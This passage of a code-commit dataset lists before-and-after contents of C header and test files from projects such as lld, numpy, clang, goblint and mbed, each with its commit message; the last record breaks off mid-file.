{"commit":"bb71227a64ed0b093e31e0bddab4fa4d4462a0b6","old_file":"include\/lld\/ReaderWriter\/YamlContext.h","new_file":"include\/lld\/ReaderWriter\/YamlContext.h","old_contents":"\/\/===- lld\/ReaderWriter\/YamlContext.h - object used in YAML I\/O context ---===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_READER_WRITER_YAML_CONTEXT_H\n#define LLD_READER_WRITER_YAML_CONTEXT_H\n\n#include \"lld\/Core\/LLVM.h\"\n#include <functional>\n#include <memory>\n#include <vector>\n\nnamespace lld {\nclass File;\nclass LinkingContext;\nnamespace mach_o {\nnamespace normalized {\nstruct NormalizedFile;\n}\n}\n\nusing lld::mach_o::normalized::NormalizedFile;\n\n\/\/\/ When YAML I\/O is used in lld, the yaml context always holds a YamlContext\n\/\/\/ object.  We need to support hetergenous yaml documents which each require\n\/\/\/ different context info.  This struct supports all clients.\nstruct YamlContext {\n  YamlContext()\n      : _ctx(nullptr), _registry(nullptr), _file(nullptr),\n        _normalizeMachOFile(nullptr) {}\n\n  const LinkingContext *_ctx;\n  const Registry *_registry;\n  File *_file;\n  NormalizedFile *_normalizeMachOFile;\n  StringRef _path;\n};\n\n} \/\/ end namespace lld\n\n#endif \/\/ LLD_READER_WRITER_YAML_CONTEXT_H\n","new_contents":"\/\/===- lld\/ReaderWriter\/YamlContext.h - object used in YAML I\/O context ---===\/\/\n\/\/\n\/\/                             The LLVM Linker\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLD_READER_WRITER_YAML_CONTEXT_H\n#define LLD_READER_WRITER_YAML_CONTEXT_H\n\n#include \"lld\/Core\/LLVM.h\"\n#include <functional>\n#include <memory>\n#include <vector>\n\nnamespace lld {\nclass File;\nclass LinkingContext;\nnamespace mach_o {\nnamespace normalized {\nstruct NormalizedFile;\n}\n}\n\nusing lld::mach_o::normalized::NormalizedFile;\n\n\/\/\/ When YAML I\/O is used in lld, the yaml context always holds a YamlContext\n\/\/\/ object.  We need to support hetergenous yaml documents which each require\n\/\/\/ different context info.  This struct supports all clients.\nstruct YamlContext {\n  const LinkingContext *_ctx = nullptr;\n  const Registry *_registry = nullptr;\n  File *_file = nullptr;\n  NormalizedFile *_normalizeMachOFile = nullptr;\n  StringRef _path;\n};\n\n} \/\/ end namespace lld\n\n#endif \/\/ LLD_READER_WRITER_YAML_CONTEXT_H\n","subject":"Use C++11 non-static member initialization.","message":"Use C++11 non-static member initialization.\n\ngit-svn-id: f6089bf0e6284f307027cef4f64114ee9ebb0424@234648 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/lld,llvm-mirror\/lld"}
{"commit":"b493f25a14e51fa1648b6b84b2afd18326a561ca","old_file":"src\/bin\/e_widget_iconsel.h","new_file":"src\/bin\/e_widget_iconsel.h","old_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_WIDGET_BUTTON_H\n#define E_WIDGET_BUTTON_H\n\nEAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2);\nEAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, void (*func) (void *data, void *data2), void *data, void *data2);\nEAPI void         e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data);\n\n#endif\n#endif\n","new_contents":"\/*\n * vim:ts=8:sw=3:sts=8:noexpandtab:cino=>5n-3f0^-2{2\n *\/\n#ifdef E_TYPEDEFS\n#else\n#ifndef E_WIDGET_ICONSEL_H\n#define E_WIDGET_ICONSEL_H\n\nEAPI Evas_Object *e_widget_iconsel_add(Evas *evas, Evas_Object *icon, Evas_Coord minw, Evas_Coord minh, char **file);\nEAPI Evas_Object *e_widget_iconsel_add_from_file(Evas *evas, char *icon, Evas_Coord minw, Evas_Coord minh, char **file);\nEAPI void         e_widget_iconsel_select_callback_add(Evas_Object *obj, void (*func)(Evas_Object *obj, char *file, void *data), void *data);\n\n#endif\n#endif\n","subject":"Correct define for this file. Fix function declarations.","message":"Correct define for this file.\nFix function declarations.\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"d655d71e6b85f7f07c738dbb1a22d6c29bb0bdbf","old_file":"src\/pwm.h","new_file":"src\/pwm.h","old_contents":"#ifndef PWM_H\r\n#define PWM_H\r\n\r\nvoid PwmInit(uint8_t channel);\r\nvoid PwmSetPeriod(uint8_t channel, uint32_t frequency);\r\nvoid PwmSetDuty(uint8_t channel, uint8_t duty);\r\n\r\n\r\ntypedef struct\r\n{\r\n    uint32_t frequency;\r\n    uint8_t duty;\r\n} PwmOutput;\r\n\r\n#endif \/\/PWM_H\r\n","new_contents":"#ifndef PWM_H\r\n#define PWM_H\r\n\r\nextern void PwmInit(uint8_t channel);\r\nextern void PwmSetPeriod(uint8_t channel, uint32_t frequency);\r\nextern void PwmSetDuty(uint8_t channel, uint8_t duty);\r\n\r\n\r\ntypedef struct\r\n{\r\n    uint32_t frequency;\r\n    uint8_t duty;\r\n} PwmOutput;\r\n\r\n#endif \/\/PWM_H\r\n","subject":"Update prototypes to make them more compliant.","message":"Update prototypes to make them more compliant.\n","lang":"C","license":"mit","repos":"jotux\/LaunchLib,jotux\/LaunchLib,jotux\/LaunchLib"}
{"commit":"f5f8876e86a699dc1c43a1369c963916684ec8de","old_file":"numpy\/core\/src\/common\/npy_ctypes.h","new_file":"numpy\/core\/src\/common\/npy_ctypes.h","old_contents":"#ifndef NPY_CTYPES_H\n#define NPY_CTYPES_H\n\n#include <Python.h>\n\n#include \"npy_import.h\"\n\n\/*\n * Check if a python type is a ctypes class.\n *\n * Works like the Py<type>_Check functions, returning true if the argument\n * looks like a ctypes object.\n *\n * This entire function is just a wrapper around the Python function of the\n * same name.\n *\/\nNPY_INLINE static int\nnpy_ctypes_check(PyTypeObject *obj)\n{\n    static PyObject *py_func = NULL;\n    PyObject *ret_obj;\n    int ret;\n\n    npy_cache_import(\"numpy.core._internal\", \"npy_ctypes_check\", &py_func);\n    if (py_func == NULL) {\n        goto fail;\n    }\n\n    ret_obj = PyObject_CallFunctionObjArgs(py_func, (PyObject *)obj, NULL);\n    if (ret_obj == NULL) {\n        goto fail;\n    }\n\n    ret = PyObject_IsTrue(ret_obj);\n    if (ret == -1) {\n        goto fail;\n    }\n\n    return ret;\n\nfail:\n    \/* If the above fails, then we should just assume that the type is not from\n     * ctypes\n     *\/\n    PyErr_Clear();\n    return 0;\n}\n\n#endif\n","new_contents":"#ifndef NPY_CTYPES_H\n#define NPY_CTYPES_H\n\n#include <Python.h>\n\n#include \"npy_import.h\"\n\n\/*\n * Check if a python type is a ctypes class.\n *\n * Works like the Py<type>_Check functions, returning true if the argument\n * looks like a ctypes object.\n *\n * This entire function is just a wrapper around the Python function of the\n * same name.\n *\/\nNPY_INLINE static int\nnpy_ctypes_check(PyTypeObject *obj)\n{\n    static PyObject *py_func = NULL;\n    PyObject *ret_obj;\n    int ret;\n\n    npy_cache_import(\"numpy.core._internal\", \"npy_ctypes_check\", &py_func);\n    if (py_func == NULL) {\n        goto fail;\n    }\n\n    ret_obj = PyObject_CallFunctionObjArgs(py_func, (PyObject *)obj, NULL);\n    if (ret_obj == NULL) {\n        goto fail;\n    }\n\n    ret = PyObject_IsTrue(ret_obj);\n    Py_DECREF(ret_obj);\n    if (ret == -1) {\n        goto fail;\n    }\n\n    return ret;\n\nfail:\n    \/* If the above fails, then we should just assume that the type is not from\n     * ctypes\n     *\/\n    PyErr_Clear();\n    return 0;\n}\n\n#endif\n","subject":"Add missing decref in ctypes check","message":"BUG: Add missing decref in ctypes check\n","lang":"C","license":"bsd-3-clause","repos":"jorisvandenbossche\/numpy,endolith\/numpy,numpy\/numpy,seberg\/numpy,ahaldane\/numpy,rgommers\/numpy,charris\/numpy,jakirkham\/numpy,endolith\/numpy,mattip\/numpy,madphysicist\/numpy,madphysicist\/numpy,pdebuyl\/numpy,jakirkham\/numpy,seberg\/numpy,rgommers\/numpy,jorisvandenbossche\/numpy,grlee77\/numpy,jakirkham\/numpy,WarrenWeckesser\/numpy,WarrenWeckesser\/numpy,charris\/numpy,anntzer\/numpy,endolith\/numpy,MSeifert04\/numpy,mattip\/numpy,madphysicist\/numpy,MSeifert04\/numpy,WarrenWeckesser\/numpy,jorisvandenbossche\/numpy,rgommers\/numpy,pbrod\/numpy,charris\/numpy,charris\/numpy,pizzathief\/numpy,madphysicist\/numpy,ahaldane\/numpy,grlee77\/numpy,numpy\/numpy,MSeifert04\/numpy,abalkin\/numpy,pbrod\/numpy,madphysicist\/numpy,pizzathief\/numpy,anntzer\/numpy,pbrod\/numpy,simongibbons\/numpy,rgommers\/numpy,WarrenWeckesser\/numpy,jorisvandenbossche\/numpy,ahaldane\/numpy,WarrenWeckesser\/numpy,jorisvandenbossche\/numpy,pdebuyl\/numpy,grlee77\/numpy,simongibbons\/numpy,mattip\/numpy,jakirkham\/numpy,abalkin\/numpy,abalkin\/numpy,ahaldane\/numpy,pizzathief\/numpy,mhvk\/numpy,grlee77\/numpy,mhvk\/numpy,mhvk\/numpy,MSeifert04\/numpy,ahaldane\/numpy,simongibbons\/numpy,mhvk\/numpy,seberg\/numpy,numpy\/numpy,anntzer\/numpy,seberg\/numpy,numpy\/numpy,simongibbons\/numpy,grlee77\/numpy,mhvk\/numpy,pizzathief\/numpy,endolith\/numpy,simongibbons\/numpy,pbrod\/numpy,jakirkham\/numpy,anntzer\/numpy,MSeifert04\/numpy,pdebuyl\/numpy,pbrod\/numpy,pdebuyl\/numpy,pizzathief\/numpy,mattip\/numpy"}
{"commit":"c78c827078ec7211971e4d42c7de8c7a0e16fd56","old_file":"include\/utils\/ALDebug.h","new_file":"include\/utils\/ALDebug.h","old_contents":"#ifndef ABSTRACT_LEARNING_DEBUG_H\n#define ABSTRACT_LEARNING_DEBUG_H\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n#define FUNC_PRINT(x) printf(#x\"=%d in %s, %d \\n\",x,  __func__, __LINE__);\n#define FUNC_PRINT_ALL(x, type) printf(#x\"=\"#type\"%\"#type\" in %s, %d \\n\",x,  __func__, __LINE__);\n\n#define CHECK_POINTER(x) {if(NULL==x){FUNC_PRINT_ALL(x,p);break;}}\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\nvoid al_dump_stack();\n#ifdef __cplusplus\n}\n#endif\n\/\/#define ALASSERT(x) assert(x)\n#define ALASSERT(x) \\\n    if (!(x)) al_dump_stack();assert(x);\n\n#endif\n","new_contents":"#ifndef ABSTRACT_LEARNING_DEBUG_H\n#define ABSTRACT_LEARNING_DEBUG_H\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <assert.h>\n\/*Print method*\/\n#ifdef BUILD_FOR_ANDROID\n#include <android\/log.h>\n#define ALPRINT(format, ...) __android_log_print(ANDROID_LOG_INFO, \"AL\", format,##__VA_ARGS__)\n#define ALPRINT_FL(format,...) __android_log_print(ANDROID_LOG_INFO, \"AL\", format\", FUNC: %s, LINE: %d \\n\",##__VA_ARGS__, __func__, __LINE__)\n#else\n#define ALPRINT(format, ...) printf(format,##__VA_ARGS__)\n#define ALPRINT_FL(format,...) printf(format\", FUNC: %s, LINE: %d \\n\", ##__VA_ARGS__,__func__, __LINE__)\n#endif\n\/*Add with line and function*\/\n#define FUNC_PRINT(x) ALPRINT(#x\"=%d in %s, %d \\n\",(int)(x),  __func__, __LINE__);\n#define FUNC_PRINT_ALL(x, type) ALPRINT(#x\"= \"#type\" %\"#type\" in %s, %d \\n\",x,  __func__, __LINE__);\n\n#define CHECK_POINTER(x) {if(NULL==x){FUNC_PRINT_ALL(x,p);break;}}\n\n#ifndef BUILD_FOR_ANDROID\n#define ALASSERT(x) \\\n    if (!(x)) al_dump_stack();assert(x);\n#else\n#define ALASSERT(x) \\\n    {bool ___result = (x);\\\n        if (!(___result))\\\n        FUNC_PRINT((___result));}\n#endif\n\n\n#define CHECK_POINTER(x) {if(NULL==x){FUNC_PRINT_ALL(x,p);break;}}\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\nvoid al_dump_stack();\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Add debug for android, solve all warning","message":"Add debug for android, solve all warning\n","lang":"C","license":"apache-2.0","repos":"jxt1234\/Abstract_Learning,jxt1234\/Abstract_Learning,jxt1234\/Abstract_Learning"}
{"commit":"9be52ff3eb31ac0c1365f1f6e2a1c54c436a5dca","old_file":"src\/drivers\/block_dev\/stm32_sd\/stm32f4_discovery_sd.h","new_file":"src\/drivers\/block_dev\/stm32_sd\/stm32f4_discovery_sd.h","old_contents":"#ifndef STM32F4_DISCOVERY_SD_H_\n#define STM32F4_DISCOVERY_SD_H_\n\n#include <assert.h>\n#include \"stm32f4xx_hal.h\"\n#include \"stm32f4xx_hal_sd.h\"\n#include \"stm324xg_eval_sd.h\"\n\n#include <framework\/mod\/options.h>\n\n#define STM32_DMA_RX_IRQ   OPTION_GET(NUMBER, dma_rx_irq)\nstatic_assert(STM32_DMA_RX_IRQ == DMA2_Stream3_IRQn);\n\n#define STM32_DMA_TX_IRQ   OPTION_GET(NUMBER, dma_tx_irq)\nstatic_assert(STM32_DMA_TX_IRQ == DMA2_Stream6_IRQn);\n\n#define STM32_SDMMC_IRQ    OPTION_GET(NUMBER, dma_sdmmc_irq)\nstatic_assert(STM32_SDMMC_IRQ == EXTI15_10_IRQn);\n\n#endif \/* STM32F4_DISCOVERY_SD_H_ *\/\n","new_contents":"#ifndef STM32F4_DISCOVERY_SD_H_\n#define STM32F4_DISCOVERY_SD_H_\n\n#include <assert.h>\n#include \"stm32f4xx_hal.h\"\n#include \"stm32f4xx_hal_sd.h\"\n#include \"stm324xg_eval_sd.h\"\n\n#include <framework\/mod\/options.h>\n\n#define STM32_DMA_RX_IRQ   OPTION_GET(NUMBER, dma_rx_irq)\nstatic_assert(STM32_DMA_RX_IRQ == DMA2_Stream3_IRQn);\n\n#define STM32_DMA_TX_IRQ   OPTION_GET(NUMBER, dma_tx_irq)\nstatic_assert(STM32_DMA_TX_IRQ == DMA2_Stream6_IRQn);\n\n#define STM32_SDMMC_IRQ    OPTION_GET(NUMBER, dma_sdmmc_irq)\n\/\/static_assert(STM32_SDMMC_IRQ == EXTI15_10_IRQn);\n\n#endif \/* STM32F4_DISCOVERY_SD_H_ *\/\n","subject":"Work on stm32_sd for stm32f4_discovery","message":"drivers: Work on stm32_sd for stm32f4_discovery\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"}
{"commit":"6955060ef131a07b26e6a0af9fd75f225004333a","old_file":"tests\/regression\/46-apron2\/21-tid-toy-10-exit-othert.c","new_file":"tests\/regression\/46-apron2\/21-tid-toy-10-exit-othert.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.path_sens[+] threadflag --set ana.activated[+] threadJoins --sets ana.apron.privatization mutex-meet-tid\n\/\/ Modification of 19 that would fail if pthread_exit was only handled for the top-level thread\n#include <pthread.h>\n#include <assert.h>\n\nint g = 10;\nint h = 10;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\n\nvoid cheeky() { pthread_exit(NULL); }\n\nvoid *t_evil(void *arg) {\n  pthread_mutex_lock(&A);\n  g = 8;\n  h = 20;\n  pthread_mutex_unlock(&A);\n}\n\nvoid *t_benign(void *arg) {\n  pthread_t id2;\n  pthread_create(&id2, NULL, t_evil, NULL);\n\n  int top;\n\n  if(top) {\n    \/\/ If the analysis does unsoundly not account for pthread_exit called from another function, these writes are lost\n    cheeky();\n  }\n\n  pthread_join(id2, NULL);\n\n  pthread_mutex_lock(&A);\n  g = 10;\n  h = 10;\n  pthread_mutex_unlock(&A);\n\n\n  return NULL;\n}\n\nint main(void) {\n  int t;\n\n  \/\/ Force multi-threaded handling\n  pthread_t id2;\n  pthread_create(&id2, NULL, t_benign, NULL);\n\n  pthread_mutex_lock(&A);\n  g = 10;\n  h = 10;\n  pthread_mutex_unlock(&A);\n\n  pthread_join(id2, NULL);\n\n  pthread_mutex_lock(&A);\n  assert(g == 10); \/\/UNKNOWN!\n  pthread_mutex_unlock(&A);\n\n  return 0;\n}\n","subject":"Add example that becomes unsound if pthread_exit is only handeled for top-level threads","message":"Add example that becomes unsound if pthread_exit is only handeled for top-level threads\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"0bb9476c8bcf324b65715fd0c971616a7eb77b64","old_file":"tests\/regression\/02-base\/33-backwards-loop.c","new_file":"tests\/regression\/02-base\/33-backwards-loop.c","old_contents":"\/\/ PARAM: --sets solver td3\nvoid main(void) {\n    int x;\n    int i = 41;\n\n    while(i >= 12) {\n        x = 0;\n        i--;\n    }\n}\n","new_contents":"\/\/ PARAM: --sets solver td3\nvoid main(void) {\n    int x;\n    int i = 41;\n\n    while(i >= 12) {\n        x = 0;\n        i--;\n    }\n\n    int y;\n    int j = -40;\n\n    while(-5 >= j) {\n        y = 0;\n        j++;\n    }\n}\n","subject":"Add further problematic example where positive half is excluded","message":"Def_Exc: Add further problematic example where positive half is excluded\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"162ae220b18ff32ee631202567ca85eb69823372","old_file":"events\/tests\/UNITTESTS\/doubles\/equeue_stub.h","new_file":"events\/tests\/UNITTESTS\/doubles\/equeue_stub.h","old_contents":"\/*\n * Copyright (c) , Arm Limited and affiliates.\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __EQUEUE_STUB_H__\n#define __EQUEUE_STUB_H__\n\n#include \"stdint.h\"\n#include \"stdbool.h\"\n\ntypedef struct {\n    void *void_ptr;\n    bool call_cb_immediately;\n} equeue_stub_def;\n\nextern equeue_stub_def equeue_stub;\n\n#endif\n","new_contents":"\/*\n * Copyright (c) , Arm Limited and affiliates.\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __EQUEUE_STUB_H__\n#define __EQUEUE_STUB_H__\n\n#include \"stdint.h\"\n#include \"stdbool.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\ntypedef struct {\n    void *void_ptr;\n    bool call_cb_immediately;\n} equeue_stub_def;\n\nextern equeue_stub_def equeue_stub;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Enable use of stub from C++","message":"equeue: Enable use of stub from C++\n\nAdd extern \"C\" to the equeue_stub declaration to avoid an error when a C\nfile implements the equeue_stub symbol (as we do in equeue_stub.c).\n\n    Undefined symbols for architecture x86_64:\n      \"_equeue_stub\", referenced from:\n          Test_LoRaWANTimer_start_Test::TestBody() in Test_LoRaWANTimer.cpp.o\n    ld: symbol(s) not found for architecture x86_64\n    clang: error: linker command failed with exit code 1 (use -v to see invocation)\n","lang":"C","license":"apache-2.0","repos":"mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed,mbedmicro\/mbed"}
{"commit":"d73da12174d48ca0d9f5a574542bcace01b0bd6f","old_file":"mongoc-config.h","new_file":"mongoc-config.h","old_contents":"\/*\n * Copyright 2013 MongoDB Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef MONGOC_CONFIG_H\n#define MONGOC_CONFIG_H\n\n\n\/*\n * MONGOC_ENABLE_SSL is set from configure to determine if we are\n * compiled with SSL support.\n *\/\n#define MONGOC_ENABLE_SSL 1\n\n#if MONGOC_ENABLE_SSL != 1\n#  undef MONGOC_ENABLE_SSL\n#endif\n\n\n\/*\n * MONGOC_ENABLE_SASL is set from configure to determine if we are\n * compiled with SASL support.\n *\/\n#define MONGOC_ENABLE_SASL 0\n\n#if MONGOC_ENABLE_SASL != 1\n#  undef MONGOC_ENABLE_SASL\n#endif\n\n\/*\n * Set dir for mongoc tests\n *\/\n#define BINARY_DIR \"..\/..\/..\/__submodules\/mongo-c-driver\/tests\/binary\"\n\n#endif \/* MONGOC_CONFIG_H *\/\n","new_contents":"\/*\n * Copyright 2013 MongoDB Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef MONGOC_CONFIG_H\n#define MONGOC_CONFIG_H\n\n\n\/*\n * MONGOC_ENABLE_SSL is set from configure to determine if we are\n * compiled with SSL support.\n *\/\n#define MONGOC_ENABLE_SSL 1\n\n#if MONGOC_ENABLE_SSL != 1\n#  undef MONGOC_ENABLE_SSL\n#endif\n\n\n\/*\n * MONGOC_ENABLE_SASL is set from configure to determine if we are\n * compiled with SASL support.\n *\/\n#define MONGOC_ENABLE_SASL 0\n\n#if MONGOC_ENABLE_SASL != 1\n#  undef MONGOC_ENABLE_SASL\n#endif\n\n\/*\n * Set dir for mongoc tests\n *\/\n#undef BINARY_DIR\n#define BINARY_DIR \"..\/..\/..\/__submodules\/mongo-c-driver\/tests\/binary\"\n\n#endif \/* MONGOC_CONFIG_H *\/\n","subject":"Fix warning when BINARY_DIR already defined","message":"Fix warning when BINARY_DIR already defined\n","lang":"C","license":"mit","repos":"alexeyvo\/mongo-c-driver-build-headers,Convey-Compliance\/mongo-c-driver-build-headers"}
{"commit":"c436708c65be210d2ab761a02df2b6c06bd0a85b","old_file":"test\/Lexer\/block_cmt_end.c","new_file":"test\/Lexer\/block_cmt_end.c","old_contents":"\/*\n  RUN: %clang_cc1 -E -trigraphs %s | grep bar\n  RUN: %clang_cc1 -E -trigraphs %s | grep foo\n  RUN: %clang_cc1 -E -trigraphs %s | not grep abc\n  RUN: %clang_cc1 -E -trigraphs %s | not grep xyz\n  RUN: %clang_cc1 -fsyntax-only -trigraphs -verify %s  \n*\/\n\n\/\/ This is a simple comment, \/*\/ does not end a comment, the trailing *\/ does.\nint i = \/*\/ *\/ 1;\n\n\/* abc\n\nnext comment ends with normal escaped newline:\n*\/\n\n\/* expected-warning {{escaped newline}} expected-warning {{backslash and newline}}  *\\  \n\/\n\nint bar \/* expected-error {{expected ';' after top level declarator}} *\/\n\n\/* xyz\n\nnext comment ends with a trigraph escaped newline: *\/\n\n\/* expected-warning {{escaped newline between}}   expected-warning {{backslash and newline separated by space}}    expected-warning {{trigraph ends block comment}}   *??\/    \n\/\n\nfoo\n\n\n\/\/ rdar:\/\/6060752 - We should not get warnings about trigraphs in comments:\n\/\/ '????'\n\/* ???? *\/\n\n\n\n\n","new_contents":"\/*\n  RUN: %clang_cc1 -E -trigraphs %s | grep bar\n  RUN: %clang_cc1 -E -trigraphs %s | grep foo\n  RUN: %clang_cc1 -E -trigraphs %s | not grep qux\n  RUN: %clang_cc1 -E -trigraphs %s | not grep xyz\n  RUN: %clang_cc1 -fsyntax-only -trigraphs -verify %s  \n*\/\n\n\/\/ This is a simple comment, \/*\/ does not end a comment, the trailing *\/ does.\nint i = \/*\/ *\/ 1;\n\n\/* qux\n\nnext comment ends with normal escaped newline:\n*\/\n\n\/* expected-warning {{escaped newline}} expected-warning {{backslash and newline}}  *\\  \n\/\n\nint bar \/* expected-error {{expected ';' after top level declarator}} *\/\n\n\/* xyz\n\nnext comment ends with a trigraph escaped newline: *\/\n\n\/* expected-warning {{escaped newline between}}   expected-warning {{backslash and newline separated by space}}    expected-warning {{trigraph ends block comment}}   *??\/    \n\/\n\nfoo\n\n\n\/\/ rdar:\/\/6060752 - We should not get warnings about trigraphs in comments:\n\/\/ '????'\n\/* ???? *\/\n","subject":"Change magic string \"abc\" to better magic string \"qux\".","message":"Change magic string \"abc\" to better magic string \"qux\".\n\nWait, what?\n\nSo, we run Clang (and LLVM) tests in an environment where the md5sum of the\ninput files becomes a component of the path. When testing the preprocessor,\nthe path becomes part of the output (in line directives). In this test, we\nwere grepping for the absence of \"abc\" in the output. When the stars aligned\nproperly, the md5sum component of the path contained \"abc\" and the test\nfailed. Oops.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@131147 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"1c243b427ec2605a45333ef855f698a21708452f","old_file":"mojito\/client-monitor.h","new_file":"mojito\/client-monitor.h","old_contents":"#include <glib-object.h>\n\nvoid client_monitor_add (char *sender, GObject *object);\n\nvoid client_monitor_remove (char *sender, GObject *object);\n","new_contents":"#include <glib-object.h>\n#include <dbus\/dbus-glib.h>\n\nvoid client_monitor_init (DBusGConnection *connection);\n\nvoid client_monitor_add (char *sender, GObject *object);\n\nvoid client_monitor_remove (char *sender, GObject *object);\n","subject":"Add client_monitor_init to the header","message":"Add client_monitor_init to the header\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/libsocialweb,lcp\/mojito,lcp\/mojito,ThomasBollmeier\/libsocialweb-flickr-oauth,lcp\/mojito,lcp\/libsocialweb,GNOME\/libsocialweb,lcp\/libsocialweb,ThomasBollmeier\/libsocialweb-flickr-oauth,GNOME\/libsocialweb,ThomasBollmeier\/libsocialweb-flickr-oauth,lcp\/libsocialweb"}
{"commit":"4c8a566280ea16396f660ac75f30f20e515c4a18","old_file":"test\/native\/float\/common.h","new_file":"test\/native\/float\/common.h","old_contents":"#include \"..\/..\/..\/src\/math\/reinterpret.h\"\n#include <stdint.h>\n#include <float.h>\n#include <inttypes.h>\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic inline _Bool approx(double x, double y)\n{\n    const uint64_t mask = (1L << (DBL_MANT_DIG - FLT_MANT_DIG)) - 1;\n    uint64_t a = reinterpret(uint64_t, x);\n    uint64_t b = reinterpret(uint64_t, y);\n\n    return a - b + mask <= 2 * mask;\n}\n\nstatic inline _Bool approxf(float x, float y)\n{\n    uint32_t a = reinterpret(uint32_t, x);\n    uint32_t b = reinterpret(uint32_t, y);\n\n    return a - b + 1 <= 2;\n}\n\nstatic inline _Bool identical(float x, float y)\n{\n    return reinterpret(uint32_t, x) == reinterpret(uint32_t, y);\n}\n\n#define verify(cond, x) if (!(cond)) {                                                               \\\n    float y = x;                                                                                     \\\n    fprintf(stderr, \"Assertion `\"#cond\"' failed at %g (%#\"PRIx32\")\\n\", y, reinterpret(uint32_t, y)); \\\n    abort();                                                                                         \\\n}\n\n\/* vim: set ft=c: *\/\n","new_contents":"#include \"..\/..\/..\/src\/math\/reinterpret.h\"\n#include <stdint.h>\n#include <float.h>\n#include <inttypes.h>\n#include <stdio.h>\n\nstatic inline _Bool approx(double x, double y)\n{\n    const uint64_t mask = (1L << (DBL_MANT_DIG - FLT_MANT_DIG)) - 1;\n    uint64_t a = reinterpret(uint64_t, x);\n    uint64_t b = reinterpret(uint64_t, y);\n\n    return a - b + mask <= 2 * mask;\n}\n\nstatic inline _Bool approxf(float x, float y)\n{\n    uint32_t a = reinterpret(uint32_t, x);\n    uint32_t b = reinterpret(uint32_t, y);\n\n    return a - b + 1 <= 2;\n}\n\ndouble cimag(double _Complex);\n\nstatic inline _Bool capprox(double _Complex x, double _Complex y)\n{\n    return approx(x, y) && approx(cimag(x), 